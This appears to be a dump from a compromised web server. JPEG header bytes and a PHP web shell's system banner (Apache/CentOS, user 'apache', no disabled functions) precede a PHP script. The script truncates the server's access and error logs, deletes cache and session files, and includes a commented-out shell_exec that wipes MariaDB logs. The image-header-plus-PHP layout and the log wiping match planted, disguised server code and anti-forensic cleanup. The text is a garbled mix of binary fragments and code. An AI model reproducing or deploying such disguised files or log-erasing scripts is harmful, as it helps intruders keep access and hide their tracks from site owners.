ÿØÿà JFIF ÿÛ „ ( %"1"%)+...383,7(-.-
![]() Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /var/www/html/img.123vid.top/ |
<?php session_start(); function printLinksReport($link) { $log_msg_html = " Links found: <font color=\"blue\"><b>$link</b></font>.<br/>"; echo $log_msg_html; flush(); } /*shell_exec('truncate /var/log/mariadb/mariadb.log --size 0'); printLinksReport('Truncated: mariadb.log'); shell_exec('truncate /var/run/mariadb/mariadb.pid --size 0'); printLinksReport('Truncated: mariadb.pid');*/ $f = @fopen("logs/access_log", "r+"); if ($f !== false) { ftruncate($f, 0); fclose($f); } printLinksReport('Truncated: access_log'); $f = @fopen("logs/error_log", "r+"); if ($f !== false) { ftruncate($f, 0); fclose($f); } printLinksReport('Truncated: error_log'); $day_time = date('d-m-Y'); $files = glob('cache/youtube/*'); // get all file names foreach($files as $file){ // iterate files // if(is_file($file) and strpos($file,$day_time)===false){ if(is_file($file)){ unlink($file); // delete old file printLinksReport('Delete: '.$file); } } $files2 = glob('cache/session/*'); // get all file names foreach($files2 as $file){ // iterate files // if(is_file($file) and strpos($file,$day_time)===false){ unlink($file); // delete old file printLinksReport('Delete: '.$file); } session_unset(); session_destroy(); session_write_close(); setcookie(session_name(),'',0,'/'); session_regenerate_id(true); unset($files,$files2); exit(); ?>